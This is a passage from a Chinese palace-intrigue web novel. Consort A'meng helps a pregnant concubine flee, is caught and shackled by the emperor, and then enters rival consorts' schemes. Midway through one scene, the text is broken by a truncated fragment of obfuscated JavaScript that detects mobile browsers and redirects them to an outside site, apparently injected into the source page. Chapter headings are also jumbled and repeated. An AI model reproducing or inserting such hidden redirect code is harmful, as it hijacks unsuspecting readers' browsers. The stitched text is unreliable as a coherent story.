“我也怕。”阿孟声音平静,“但比起一辈子囚在这冰冷宫墙内,这点恐惧算什么?”
御膳房外,正有几队太监搬运食材出宫。
阿孟与徐才人混入其中,随着队伍慢慢向城门移动。
城门守将拦住队伍:“站住,今夜皇命,严查出入。”
阿孟心头一紧,悄悄握住徐才人颤抖的手。
御膳房管事上前,恭敬行礼:“将军,这是明日御膳所需鲜货,耽搁不得啊。”
“规矩便是规矩。”守将不为所动。
阿孟微微侧身,掏出一小包银子,递给管事太监:“给
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您添麻烦了。”
管事眼睛一亮,立即转身对守将,将碎银子分了一部分出去道:“将军,这批货物乃是皇上钦点,若耽误了明早膳食……”
守将看了眼银包,挥手道:“速去速回!”
城门外,寒风凛冽。徐才人紧跟阿孟,穿过几条僻静小巷,终于来到城南一处不起眼的院落——伤病所。
院内灯火微明,徐掌柜与贺景行焦急等候。见到女儿身影,徐掌柜老泪纵横,几步冲上前:“女儿啊,真的是你?!”
“父亲!”徐才人再也控制不住,扑入父亲怀中。
贺景行目光落在阿孟身上,眼中满是复杂情绪:“阿孟……”
阿孟摘下帽子,露出疲惫面容:“师父……”
贺景行几步上前,一把将阿孟拥入怀中:“傻丫头,如此冒险!”
阿孟靠在这熟悉的怀抱中,倏忽间泪如雨下。
这是她在冰冷宫墙中从未感受过的温暖,是她强装坚强背后最柔软的依靠。
“师父……我好想你……”阿孟声音哽咽。
贺景行拍着她的背:“我知道,我都知道。你受苦了。”
阿孟擦干泪水,迅速恢复冷静:“顾将军在何处?我们不能再耽搁了。”
“顾将军已在城外十里处等候,与李掌柜商队会合。”贺景行道,“一刻后便能赶到城门。”
徐掌柜向阿孟深深一拜:“贵妃娘娘恩情,徐某永世难忘!”
“徐掌柜不必如此。”阿孟扶起他,“你家眷可安置妥当?”
徐掌柜点头:“家中财务与老小已先行一步,只等犬女平安脱险。”
阿孟顿时放下心来,旋即开口催促众人道:“既然如此,那咱们便不耽误时间,赶快往城外去吧!趁着皇上还没发现,再不走便来不及了!”
有了顾凛鹤的提前打点,阿孟一行人出城畅通无阻。
坐在马车上的阿孟却蹙眉不语,越是顺利,心中越是不安。
徐才人和徐掌柜原本还心中紧张,可此刻看到情况
城外约定处,顾凛鹤早已等候多时。
第192章 以命相博
见到阿孟从马车上下来,他三步并作两步迎上前去,眼中炽热的关切无法掩藏。
“阿孟,你可还好?”顾凛鹤上下打量着她,声音带着掩不住的焦急,“这些日子在宫中,墨司渊可有为难你?”
阿孟心头微动,面上却不显。
如今,他们各自身处险境,早已不是边关时可以无忧无虑依靠的关系了。
“多谢将军关心,我很好。”阿孟淡淡回应,语气中却透着几分温和,“只是离宫时间有限,还请速速送徐才人离开。”
“姑娘说得是。”李掌柜看了看天色,催促道,“时辰不早了,再耽搁恐有变故。”
徐才人和徐掌柜这才慌忙上了李掌柜准备好的马车。
徐才人依依不舍地探出车窗,泪眼婆娑地望着阿孟。
“贵妃娘娘,大恩大德,我没齿难忘!”徐才人几乎哽咽。
贺景行拍了拍马车,示意车夫起程,转头对阿孟道:“阿孟,你确定不跟我们一起走?”
阿孟摇头,目光坚定:“我在宫中还有事情未完成,不能就此离开。”
顾凛鹤上前一步:“阿孟,你已经冒了太大的险。如今墨司渊对你起疑,你在宫中更加危险。不如趁此机会—”
“将军!”阿孟打断他的话,“我的决定不会改变。”
马车缓缓启动,驶出不过数十丈远,一阵急促的马蹄声从远处传来。
紧接着,数十名禁军骑兵拦住去路,将他们团团围住。
“不好!”贺景行面色一变,立即挡在阿孟身前。
顾凛鹤也迅速拔剑,低声道:“阿孟,你退到我身后。”
禁军分开一条道,墨司渊缓缓走来,面色阴沉如水。
他先是看了一眼马车,眼神很快转向阿孟,唇角扯出一抹冷笑。
“孟贵妃,你好大的胆子!”墨司渊声音冰冷刺骨,“私自放人出宫,你可知欺君乃是死罪?”
阿孟不卑不亢地直视他:“皇上何出此言?臣妾不过是出宫散心罢了。”
“散心?”墨司渊冷笑一声,“朕这段时日对你太过宽容,以致于你竟敢如此肆无忌惮?还不赶紧滚回宫中养伤!”
“养伤?”贺景行皱眉,转头看向阿孟,“阿孟,你受伤了?”
“不过是烧伤而已,不打紧。”阿孟轻描淡写地答道,目光警示贺景行不要再问。
顾凛鹤上前一步:“阿孟,到底怎么回事?难不成皇上他伤了你?”
墨司渊见顾凛鹤与阿孟如此亲近,眼中杀意骤现:“大胆!区区一个臣子,竟敢质疑朕!”
他冷冷扫视众人,带着睥睨天下的气势:“徐才人勾结外臣擅自出宫,该当何罪,不必朕多言。至于孟贵妃……”
墨司渊目光落在阿孟身上,语气中终究还是有些不忍,换了个温和一些的处理方法:“念在你初犯,朕暂且饶你不死,带回宫中再行处置。”
他猛地一挥手:“来人!将徐才人和孟贵妃带回宫中!”
宫中侍卫朝着马车而去,也不顾徐才人腹中怀有身孕,直接硬生生将人从马车上拽下来。
“爹爹!”
“皇上饶命啊!”徐掌柜从马车上跳下,跪在地上痛哭流涕,“求皇上开恩,老夫只有这一个女儿,只求女儿能平安喜乐,还请皇上看在我女儿侍奉多年的份上,能够给她一条活路,饶她性命!”
墨司渊没有听到他说的话一般,冷冷盯着众人:“至于你们这些帮凶,全部处死!”
“不!”阿孟惊呼出声,“皇上,此事全是臣妾一人所为,与他们无关!”
顾凛鹤上前一步:“陛下,此事全是我所谋划,与其他人无关。若要治罪,请治我一人之罪!”
见顾凛鹤竟还和阿孟争着抢着揽罪,墨司渊怒火中烧,更觉嫉妒:“既然顾将军如此大义,愿意揽下所有罪责,那朕就置顾将军一人之罪,处五马分尸之刑!”
禁军立刻向贺景行和顾凛鹤逼近,同时有人上前欲拉阿孟。
阿孟眼疾手快,突然抽出一名禁军腰间的佩刀,架在自己脖子上。
“都退下!”阿孟厉声喝道,眼中闪烁着决绝的光芒,“再靠近一步,我便自刎于此!”
墨司渊面色骤变,心中顿时有了几分惶恐
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:“孟贵妃,你敢!”
“臣妾有何不敢?”阿孟冷笑,手中刀刃紧贴颈间,已划出一道细小的血痕,“皇上若是想要臣妾的命,臣妾今日便成全您!免得日后您还要费心思要臣妾性命!”
墨司渊面上闪过一丝慌乱,试图伸手上前去拦住她:“胡闹!朕何时害你了?”
“果真没有吗?”阿孟嘲讽地笑了,“那臣妾身上的烧伤又是从何而来?皇上莫不是贵人多忘事?”
顾凛鹤闻言,怒不可遏:“皇上,有什么事你便冲着我来,为何要为难阿孟一个女子?”
“闭嘴!”墨司渊厉声喝道,目光却一直锁定在阿孟身上,“孟贵妃,你放下刀,朕答应你不杀他们。”
“皇上的话,臣妾如**得过?”阿孟摇头,“臣妾要皇上立下军令状,放徐才人和徐掌柜离开,也放贺大人和顾将军安全离开,臣妾便随皇上回宫。”
“你敢跟朕谈条件?”墨司渊怒极反笑。
阿孟手中刀锋又往里逼了几分,逼出更多血丝:“臣妾宁死也不愿看他们因我而死!皇上若是不答应,臣妾这就成全自己!”
贺景行焦急道:“阿孟,不要冲动!”
“师父放心,”阿孟神色平静,“我不会白白送死。我只是在为自己讨一个公道。”
墨司渊见阿孟真有决绝之意,脸色阴晴不定。
片刻后,他十分不甘,却又实在不想失去,好不容易得到的故人,只得咬牙沉声道:“罢了,朕答应你。徐才人和徐掌柜可以离开,贺景行和顾凛鹤也暂且饶他们一命。但你必须立刻跟朕回宫!”
阿孟并未立即放下刀:“皇上此言当真?”
“朕向来一言九鼎。刚才不过是一时气急,你若识相,便快快放下刀跟朕回宫,所有都可以既往不咎!”墨司渊盯着阿孟脖颈上渗出的血丝,眼中闪过一丝心疼,“这样僵持下去对谁都没好处。你放下刀,朕保证不伤他们。”
阿孟与墨司渊对视良久,终于缓缓放下刀。
墨司渊立即上前,一把夺过刀扔在地上,然后紧紧握住阿孟的手腕。
第193章 以身为饵
“皇上,臣妾愿以己身担责。”阿孟直视墨司渊,语气却不卑不亢,“这些事皆由我一手策划,他们不过是我的棋子罢了。既然皇上不喜徐才人,何不放她自由,成全臣妾一片心意?”
墨司渊眼底闪过一丝复杂情绪,咬牙松开了手,让出一条道来。
徐才人和徐掌柜跪地朝阿孟磕了个头,颤声道:“贵妃娘娘大恩大德,徐家上下永世不忘!”
“去吧,莫要耽搁。”阿孟淡淡道。
二人连忙起身,登上马车,连夜驶离京城,前往南方。
墨司渊冷笑一声,手指捏住阿孟下巴:“满意了?”
阿孟未作回答,只默默朝京城方向迈步。身后顾凛鹤却突然大声唤道:“阿孟!别回去!那里只是座牢笼!”
墨司渊闻言盛怒,挥手示意侍卫上前,刀尖直指顾凛鹤咽喉:“大胆!”
“皇上!”阿孟慌忙抓住墨司渊衣袖,“您方才承诺过要放过他们的!”
“呵,还敢跟我讨价还价?”墨司渊收回手,眸中寒意更甚,“顾凛鹤是自己找死,你替他求情已是皇恩浩荡。他若识相,现在就该跪下谢恩。否则……”
他冷冷瞥了顾凛鹤一眼,言语凌厉:“朕只消动动手指,便能让他全家陪葬。”
“阿孟,我——”顾凛鹤还想说什么,却被贺景行一把拽住。
贺景行摇头示意,目光却落在阿孟身上:“保重。”
阿孟唇角微微勾起:“师父放心,我不会有事的。”
说罢,她缓步跟上墨司渊,二人身影渐渐消失在夜色中。
顾凛鹤急得原地踱步,眉心几乎拧成一个结:“贺神医,此时不救阿孟更待何时?这分明是个大好机会!回了宫,谁知那昏君会如何折磨她?”
“冷静些。”贺景行深吸一口气,拍了拍顾凛鹤肩膀,“今日若真惹怒了墨司渊,咱们一个人都走不了。阿孟那丫头聪明着呢,自有打算。”
“可是……”
“别辜负她的一番好意。”贺景行目光凝视着阿孟消失的方向,“若是现在勉强带她走,反倒会将徐才人父女送回虎口。”
顾凛鹤握紧了拳头,一股无力感涌上心头:“那我们就这么眼睁睁看着她回去受罪?”
“非也。”贺景行低声道,“我们该做的,是尽快集结力量,真正能护她周全的那种。”
顾凛鹤怔了怔,片刻后终于点了点头:“你说得对。”
两人带着余下众人,一同踏上归途。
月色如水,洒落在他们肩头,仿佛无声的誓言。
马车中,墨司渊冷眼看着身旁的阿孟,声音中带着几分莫名的愠怒:“你与那顾凛鹤,到底是什么关系?”
阿孟侧头望向窗外:“皇上不是知道吗?我们不过是旧相识罢了。”
“呵,旧相识?”墨司渊冷笑,心中妒火中烧,“若只是旧相识,他何以对你如此上心?”
阿孟未答,只轻轻闭上了眼。
墨司渊看她这般模样,心中怒火更盛,却又不知从何说起。
良久,他才低声道:“别以为朕会轻易放过你。”
阿孟缓缓睁开眼,语气平静得出奇:“臣妾从未如此想过。”
夜色渐深,马车缓缓驶向皇宫。
回到苔蘅殿,墨司渊一把将阿孟拽入内室,毫不怜惜地将她推搡到床榻上。
阿孟身上烧伤的地方被衣物摩擦,顿时裂开几道口子,渗出殷红的血迹,染红了白色的寝衣。
“陛下,烧伤更裂了。”一旁的小宫女看到这情景,不禁惊呼出声。
墨司渊眸光一闪,望着阿孟苍白的面容,心中虽有一丝不忍,但想到她今晚的所作所为,那点怜悯立刻被熊熊怒火吞没。
“周海。”墨司渊冷声唤道。
周海立刻上前跪下:“陛下有何吩咐?”
“去慎刑司,取一副脚铐来。”墨司渊盯着阿孟,眼神凌厉,“今日起,孟贵妃不得离开苔蘅殿半步。无朕的命令,任何人不得进入探视。”
阿孟靠在床榻上,听到这话却丝毫不见慌乱,只是淡淡望着墨司渊,眼中毫无惧色。
“还愣着做什么?”墨司渊厉声
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道,“速去!”
“是,陛下。”周海连忙退下。
墨司渊转向殿外:“将苔蘅殿所有宫人都叫来,朕要当众下令。”
不多时,苔蘅殿的宫女太监悉数跪在殿前。
墨司渊立于高处,面色阴沉似夜:“即日起,孟贵妃不得踏出苔蘅殿一步。若有人违令,协助她离开者,满门九族,一个不留。若孟贵妃逃脱,苔蘅殿上下,无一人能活。”
跪着的宫人们颤抖不已,一个个叩首如捣蒜:“奴才谨记圣谕,万死不敢违抗。”
这时,周海带人从慎刑司回来,呈上一副沉重的脚铐。
那铁链冰冷刺目,每一环都泛着冷光。
墨司渊亲自接过,缓步走向床榻。
“皇上要亲自动手吗?”阿孟冷笑,声音虚弱却不失傲气,“您当真恨我至此?”
“不是恨,是管教。”墨司渊执起她的脚踝,不顾她因伤而颤抖的身躯,将铁环牢牢扣上,“出宫勾结外臣,任何妃嫔犯此等大忌,都难逃一死。朕如此处置,已是格外开恩。”
沉重的铁环立刻在阿孟纤细的脚踝上勒出一道红印。她疼得咬紧下唇,却倔强得不发一语。
铐好脚镣,墨司渊起身,忽然发现阿孟神色有异,似是在寻找什么人。
顺着她的目光,墨司渊扫过跪着的宫人,少了一个熟悉的身影。
“皇上,云珠呢?”阿孟终于忍不住问道,声音中掩不住的慌张。
墨司渊冷冷一笑:“呵,你自身难保,还有心思关心一个奴婢?不过,朕不妨告诉你,云珠现在在慎刑司。”他俯身靠近阿孟耳边,声音极低却如刀锋般锐利,“你若乖乖听话,朕可饶她一命。若你再有异动,那她的下场,便与曾经那位云珠一般无二了。”
“她是无辜的,全是我指使的。”阿孟紧紧握住锦被,心下焦急慌乱,“皇上若要惩罚,冲着我来便是。”
“这就是冲着你来。”墨司渊冷笑,“你在乎她,朕便拿她做筹码。你若不听话,她便要吃苦头。这很公平,不是吗?”
第194章 机关算尽反成劫
第193章机关算尽反成
阿孟眼中闪过一丝恨意:“皇上真是好手段。”
“朕的手段,你还远没见识完。”墨司渊转身,对周海道,“留人看守,上锁!”
“是。”周海领命。
墨司渊甩袖而去,脚步声渐行渐远。待他走后,守在外面的宫女们小心翼翼地隔着门缝向内探望。
“贵妃娘娘,奴婢们也是被逼无奈。”一个年长些的宫女低声道,“还请娘娘见谅,莫要为难我等。”
阿孟靠在床头,未作回应。
腿上的铁链沉重冰冷,脚踝处火辣辣地疼。
她不禁想起三年前那个雪夜,自己被囚在刑司大牢,身边尽是血腥与寒意。
那时的墨司渊,也是这般冷酷无情,逼她认下莫须有的罪名,害死整个孟家。
“云珠,你一定要撑住。”阿孟在心中默默祈祷,手指不自觉地攥紧被角。
窗外,一轮残月挂在天际,冷光如水,洒在她惨白的面容上。
她望着那轮月色,眸中不觉闪过一丝决然。
人在宫中,身不由己,但她绝不会再像三年前那般,任人宰割。
墨司渊甩袖而去,铁链的碰撞声和他的脚步声交织在一起,渐行渐远。
离开苔蘅殿后,墨司渊心头郁气难消。
想到朝露宫中正在养伤的谢妤,他脑海中浮现出她温柔体贴的模样,不禁心头略有松动。
他冷冷地扫了一眼身后的周海,沉声道:“去朝露宫。”
“是,陛下。”周海躬身应道。
此刻的朝露宫内,谢妤心中焦躁难安。
自打阿孟离宫一事发生后,她便差遣心腹红豆去外头打探消息,只盼着能听到阿孟被治罪的好消息。
“红豆,出去瞧瞧,可有什么风声传回。”谢妤抚着额头,靠在榻上吩咐道。
红豆应声,刚推开寝殿门,便与大步而来的墨司渊撞了个正着。
她猝不及防,慌忙跪倒在地,高声道:“皇上万岁万岁万万岁!”
殿内的谢妤听见外头动静,心头一喜,急忙支撑着身子坐起,整理鬓发,面上强撑出柔弱之态。
墨司渊跨过伏地的红豆,大步进了寝殿。见谢妤强撑着起身,他心情难得地好转几分。
“爱妃,身子可大好些了?”墨司渊缓步走至床前,语气中带着一丝难得的温和。
谢妤听出墨司渊语气中的关切,比往日更多了几分柔情,心中微喜,连忙做出娇弱模样,声音细若蚊吟:“回皇上,臣妾已好了不少,多亏太医院日日看诊,还有孟贵妃送来的药……”
她话音未落,便见墨司渊面色陡然阴沉,目光如冰:“不必提她。”
谢妤心头一跳,意识到自己试探得逞,心中暗喜。
看来阿孟真的惹怒了皇上!她面上却装出一副担忧模样:“皇上恕罪,臣妾只是……”
“胆敢背叛朕的人,没有好下场。”墨司渊冷冷打断,眼中寒光乍现。
谢妤闻言心中大喜,表面却保持着惊讶和担忧:“皇上息怒,不论谁惹您不快,臣妾永远站在您这边。”
她柔声低语:“臣妾永远是皇上最忠诚的女人,绝不会让您失望。”
墨司渊冷笑一声,伸手挑起谢妤的下巴,目光如炬:“是吗?爱妃,朕正好想问你,你可有事情瞒着朕?”
谢妤呼吸一滞:“臣妾不敢。”
“那些关于孟贵妃的消息,你不是为了针对她,才向朕检举的吧?”墨司渊眼中闪过一丝危险的光芒,“那些消息又是从何而来?莫不是顾奚慈给的?”
谢妤心头咯噔一下,没想到墨司渊竟会如此发问。
她竭力保持镇定,颤声道:“皇上明鉴,臣妾绝无此意!臣妾所做的一切,只是不想皇上被蒙在鼓里。臣妾对皇上一片赤诚,绝无二心啊!”
“一片赤诚?”墨司渊猛地甩开她的下巴,眼中怒火喷薄而出,“你是觉得朕愚蠢至极?蠢到需要你来替朕考虑?”
谢妤被这突如其来的怒火吓得瑟缩一团,急忙伏地:“皇上恕罪!臣妾不敢!”
“朕早知道孟贵妃有异心,只是等她自己露出马脚罢了。”墨司渊冷声道,“朕的后宫,朕的江山,轮不到你们这些女人来指
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手画脚!”
墨司渊眼中杀意渐浓。
曾几何时,他确实被阿孟的态度蒙蔽,以为她是真心依附于自己。
而谢妤揭穿了这层伪装,让他这个堂堂九五至尊竟然需要自欺欺人来获取一个女人的温柔,此刻想来,无异于一记响亮的耳光。
谢妤见墨司渊神色不对,心头暗暗叫苦。
她本以为揭露阿孟会得到墨司渊的赏识,却不料反遭其怒。
此刻她惊恐万分,不知如何是好。
“皇上,臣妾知错了!”谢妤伏地磕头,泣声道,“臣妾只是担心皇上被奸人蒙蔽,所以才……”
“够了!”墨司渊厉声喝止,“你有什么资格替朕担忧?”
红豆在外头听得心惊肉跳,不敢抬头。
整个朝露宫内,气氛压抑得令人窒息。
“臣妾不敢!”谢妤颤抖着伏在地上,不敢抬头,“那孟贵妃心机深沉,表面对皇上百般顺从,暗地里却勾结外臣,心怀不轨。臣妾只怕皇上宽宏大量,被她蒙蔽……”
墨司渊冷笑一声:“朕何时说过宽恕她了?”
谢妤一愣,小心翼翼地抬头:“皇上的意思是……”
“朕已经把她铐在苔蘅殿,不得踏出半步。”墨司渊面色阴沉,“朕自有手段对付她,不需要你多嘴。”
眼看情况越描越黑,谢妤索性放弃解释,任由泪水滑落脸颊,轻声啜泣起来。
“皇上,臣妾的心里只有您一人啊!臣妾愿意粉身碎骨,也绝不会做出半点背叛您的事情。”
她柔弱无助的模样,终是让墨司渊松开了钳制她下巴的手,眼中寒意稍退。
谢妤见状,忙不迭地匍匐在地,以头抢地。
墨司渊冷哼一声,转身向周海吩咐:“传朕旨意,顾家小姐顾奚慈,擅自插手宫中之事,有违皇命,赏三十大板,即刻执行。”
“是,陛下。”周海恭敬应道。
墨司渊眼中闪过一丝狠厉:“传话顾凛鹤,必须亲自在场监督,不得推脱。”
“奴才遵旨。”
“去吧。”周海领命而去,骑着快马直奔顾府。
第198章 困兽之盟
夜幕低垂,朝露宫中。
红豆压低声音,掩着嘴唇趴在谢妤床前:“娘娘,周公公已经离开苔蘅殿,还把给孟贵妃的赏赐都收了回去,全给了淑妃娘娘。”
谢妤轻咳两声,脸色苍白如纸:“那**……休想在此时踩在本宫头上!你可有准备好那封信?”
“都已经准备妥当。”红豆从袖中取出一封细小的纸条,“娘娘,这计谋当真可行吗?若被察觉……”
谢妤眸中闪过一丝狠厉:“不入虎穴,焉得虎子。如今阿孟那**被困苔蘅殿,淑妃又得宠,我若再不行动,这病怕是要了我的命!”
她突然捂住胸口,面容扭曲,大口喘气。
“娘娘!”红豆慌忙取出药丸给她服下。
谢妤喘息片刻,眼中闪过阴狠之色:“去吧,记着,一定要说云珠在慎刑司受刑,还说前日咳了血。阿孟那**最是重情,定会中计。”
红豆神色犹豫:“娘娘,若被发现,我们……”
“放心,我会做好准备。”谢妤咬牙道,“若被发现,你就说我病中说胡话,你也是护主心切,全是你擅自行动,我自会保你平安!”
红豆惊恐地瞪大眼睛:“娘娘!”
“别废话了,快去!”谢妤闭上眼睛,“若成功了,自有你的好处。”
红豆低头退出,心中忐忑不安。
夜色如墨,她小心翼翼避开巡逻侍卫,向苔蘅殿摸去。
苔蘅殿外,守卫森严。
红豆躲在暗处,等待换岗时机。片刻后,守卫交接,她趁机溜到殿后,从小窗递入纸条。
“谁?”阿孟警觉抬头。
红豆压低声音:“孟贵妃,谢妤娘娘有要事相告。”
阿孟冷笑一声,慢条斯理展开纸条,目光渐渐冷厉。
她眯起眼睛,看向窗口:“告诉谢妤,我凭什么相信她的话?”
红豆颤声道:“娘娘,云珠姑娘被关在慎刑司,每日受刑三十大板,前日已经咳血。谢娘娘说,只有联手对付淑妃,才能借皇上之手,查看慎刑司的卷宗……”
阿孟指尖微动,眸色深沉。
周海明明刚刚才告诉她,云珠无恙。
谢妤还真是急不可待,竟然已经到了撒谎也要同自己结盟的地步。
阿孟放下信纸,眉头微皱。
“姑娘回去告诉谢娘娘,云珠的事我需要亲自确认。今日之言,我不会轻信。”阿孟冷静开口,指尖轻敲床榻,“我如今身陷囹圄,一言一行都可能害了云珠。若谢娘娘真心实意,就拿出诚意来。”
红豆咬唇道:“孟贵妃何不信我家娘娘?她已病重难起,若非情急,怎会冒险派奴婢前来?”
“不是不信,是不能冒险。”阿孟淡淡回应,目光如水,“你且回去,告诉谢娘娘,若能让我见到云珠,我自会考虑与她合作。”
红豆无奈,只得匆匆返回朝露宫。
“什么?她不肯答应?”谢妤闻言勃然大怒,将床边茶盏摔碎在地,“这**好大的架子!”
红豆跪地禀报:“娘娘息怒。孟贵妃说需亲眼见到云珠姑娘,才肯考虑结盟之事。”
谢妤捂着胸口喘息片刻,眼中掠过一丝狡黠。
“也好,既然她要证据,本宫便给她看。”
次日早朝过后,谢妤强撑病体求见墨司渊。
“皇上恕罪,妾身昨夜梦到孟贵妃,她泣不成声,说惦记着皇上,愿日日为皇上祈福。”谢妤呈上一枚翠色玉佩,直接依偎在墨司渊怀中,“这是妾身从前见孟贵妃贴身佩戴之物,想必对她意义非凡。妾身斗胆,想替她献给皇上,以表她的一片心意。”
墨司渊眸光一闪,接过玉佩细看:“你倒是体贴。”
谢妤状似无意道:“妾身听闻云珠姑娘被关在慎刑司,也不知可否安好?若能探视一二,也好向孟贵妃有个交代,免得她日日牵挂,误了身子。”
墨司渊冷笑:“你何时这般关心起孟贵妃来?”
“妾身与她虽有龃龉,但同处一宫,总不能眼看她日渐消瘦。”谢妤低头,“再者,皇上不是一向念着她吗?”
“准了。”墨司渊挥手,一瞬间竟真的有些心软,
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“择日可去,周海会安排。”
一日后,谢妤终于得了准信。
谢妤手指轻扣锦被,眼中掠过一丝得意。
她强撑病体坐起,向红豆低语:“去,把这个好消息告诉阿孟。”
红豆迟疑片刻:“娘娘,孟贵妃若不愿配合呢?”
“她若不愿,便让她永远别见到云珠!”谢妤冷笑一声,随即咳嗽起来,“快去,不要让机会溜走。”
夜深人静,红豆再度潜入苔蘅殿。
“你又来了。”阿孟靠在床头,声音冷淡,“谢贵妃有何吩咐?”
红豆递上纸条:“娘娘有办法了,明日能让您见到云珠姑娘。”
阿孟展开纸条,眸色微变。
谢妤这女人竟真能让自己探视云珠?难不成她已病入膏肓,连最后一搏的力气都要用上了?
“告诉娘娘,我会等她的消息。”阿孟语气颇为激动。
翌日,在墨司渊特许下,阿孟得以离开苔蘅殿前往慎刑司。
两名侍卫押送,她一路走得极慢,脚上镣铐磨得脚踝生疼。
“云珠!”一见到牢房中的身影,阿孟便红了眼眶。
云珠面容憔悴,但见阿孟前来,立刻跪地行礼:“娘娘,您来了!”
阿孟细看云珠,确实无刑罚痕迹,却见她时不时咳嗽,面色苍白。
“咳咳——”云珠低声道,“娘娘别担心,云珠没事。”
阿孟心痛如绞:“你病了为何不告诉人?”
“这里谁会理会奴婢?”云珠苦笑,“且不说药物,就连水食都常常短缺。”
“**!”阿孟咬牙,恨意几乎溢出眼眶。
“时间到了。”守卫催促道。
阿孟不舍离去,心中已有决断。
朝露宫中,病榻上的谢妤勉强坐起,对前来复命的红豆道:“她可看到云珠了?”
“看到了。”红豆低声回答,“孟贵妃随后便来了。”
话音未落,阿孟已冷着脸步入殿中,镣铐声清脆作响。
“谢贵妃,你好计谋。竟真能让我见到云珠。”阿孟面色阴沉。
第199章 双面谋局
谢妤苍白的脸上浮现笑意:“怎么,孟贵妃可满意我的诚意?”
“云珠虽无刑罚痕迹,却已病入膏肓,无人医治。”阿孟双眸幽冷。
谢妤却不以为然,紧紧盯着阿孟。
“本宫知道你心里一定有诸多不满,可你如今还是要来求着本宫,”她顿了顿,声音低沉,“但眼下你我都需要对方,不如暂时联手。”
“七日,我要云珠离开那鬼地方。”阿孟咬牙道。
谢妤点头,又道:“你这药丸,我还需要。”
“我药方在手,只要拿到药材,可随时制作。”阿孟冷淡回答,“但云珠绝不能有闪失。”
谢妤抬手示意红豆退下,低声道:“淑妃近日得宠,你不如以探视归来之便,顺道投靠她。”
“你什么意思?”
“苔蘅殿囚你一生,还不如暂时委身淑妃麾下,给我传递消息。”谢妤眯起眼,眼神颇为轻蔑,“我会尽力救出云珠,而你帮我拉下淑妃。”
阿孟思索片刻,点了点头:“好,我答应你。”
离开朝露宫,阿孟知道淑妃每日必经御花园。
她躲在假山后等待,待听见脚步声,便故意跌倒在地,露出被镣铐磨破的脚踝。
“这不是孟贵妃吗?”淑妃惊讶道,“怎么落得如此境地?”
阿孟跪地,眸中含泪:“淑妃娘娘,皇上厌弃了我,我无处可去。若娘娘不嫌弃,我愿投靠娘娘麾下,还请娘娘救我于水火之中。”
淑妃眼中闪过一丝狡黠:“孟贵妃肯屈尊,本宫却要看看你的诚意。”
“妾身一切遵命。”阿孟低头,掩下眼中的寒意。
淑妃冷笑:“本宫府上缺个抄书人,你先抄《女诫》三遍,以正自身。”
阿孟垂首:“谨遵娘娘旨意。”
淑妃转身对身边侍女耳语几句,那侍女微微点头,眼中闪过警惕之色。
“记住,每一字,每一句,本宫都会检查。”淑妃语带威胁。
淑妃离去后,阿孟在寝殿内铺开宣纸,开始誊抄《女诫》。
笔触娴熟,字迹清秀,却难掩眼底一丝隐忍的愤恨。
“若要帮云珠脱离苦海,此刻便是最好时机。”阿孟蘸墨沉思,放下朱砂笔,招来侍奉的宫女。
“绿袖,去寻些红花、当归、川芎来。”阿孟压低嗓音,“就说是为淑妃娘娘调制养颜膏所需。”
绿袖犹豫道:“贵妃娘娘,您现在的处境……”
阿孟苦笑一声:“正因如此,才更需一博。淑妃如此盛宠,若能赢得她的信任,或许能改变我的处境。”
“奴婢明白了。”绿袖行礼退下。
待绿袖取回药材,阿孟从袖中取出一封密信,掺入药材中。
她神色平静,目光却寒芒微闪。
“若淑妃识趣,这一步便是她登高的机会;若她愚钝,只怕会引火烧身。”
三日后,淑妃带着侍女匆匆赶至苔蘅殿。
她面色凝重,推门便见阿孟正低头抄写《女诫》,案上已有两卷成稿。
“孟贵妃,本宫有事相询。”淑妃目光复杂。
阿孟放下笔,起身行礼:“淑妃娘娘光临寒舍,有何吩咐?”
淑妃挥退左右,声音压得极低:“你如何得知我兄长进贡香料一事?”
“娘娘恕罪。”阿孟俯身,“妾身虽被幽禁,却仍有几分耳目。这密信是谢妤宫中传出,妾身得知后,生怕淑妃娘娘受害,才冒险传信。”
淑妃眯眼打量她:“本宫已命人查验,香料车中只有寻常胭脂粉,并无禁药。你如何解释?”
阿孟眼中闪过一丝欣慰,轻声道:“妾身早料到谢妤心机深沉,定会派人做手脚。妾身趁夜命人将禁药换成胭脂粉,这才避免了娘娘一场灾祸。”
“你为何要帮我?”淑妃狐疑不解。
阿孟抬头,眼中似有泪光。
“娘娘如今得宠,手握实权。妾身已失圣宠,若不依附权贵,恐怕连命都保不住。”她苦笑一声,“况且,妾身从前跟着谢贵妃,知晓太多,她多有忌惮,若能助娘娘击败她,也是妾身之幸。”
淑妃沉默片刻,眼中闪过一丝赞许。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378470|164897||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你倒是明察秋毫,知晓宫中局势。”她踱步至窗前,“只是,你明明被困苔蘅殿,怎能耳听八方,还能指挥人更换禁药?”
阿孟目光闪烁,似有不安:“娘娘明鉴,妾身只是想活命罢了。被困这些日子,妾身想了许多。宫中之险,唯有跟对了娘娘才能存活。”
说罢,阿孟竟双膝跪地,重重叩首:“若娘娘不弃,妾身愿为娘娘效力,赴汤蹈火,在所不辞!”
淑妃伸手扶起阿孟,轻笑道:“既有此心,本宫自当接纳。但记住,本宫最恨背叛。”
“妾身谨记。”阿孟低眉顺眼,心中却暗自冷笑。
“这《女诫》倒是抄得不错。”淑妃拿起纸卷,随手翻阅,“本宫会与皇上说,让你搬到本宫偏殿居住。”
阿孟连连叩首:“多谢娘娘隆恩!”
“行了,起来吧。”淑妃抚袖而去,“等本宫的好消息。”
淑妃离去后,阿孟缓缓站起,抹去额头冷汗,眸光渐冷。
“入瓮已成,接下来便是一场好戏了。”她望向窗外,眼神坚毅,“云珠,再等等,我一定会救你出来。”
夜风轻拂,烛光摇曳。
谢妤眺望窗外,唇角微勾。
天色将明,谢妤梳妆完毕,对着铜镜检视自己苍白的脸色。红豆手持胭脂,小心翼翼地走近。
“娘娘,要不要再添些颜色?看起来太过憔悴了。”
谢妤摆手阻止,声音虚弱。
“不必了,越是病态,越显诚意。”她轻抚发髻,从匣中取出一缕青丝,“这便是孟贵妃的断发吧?”
“是的,娘娘。”红豆递上丝帕,“奴婢已按吩咐处理好了。”
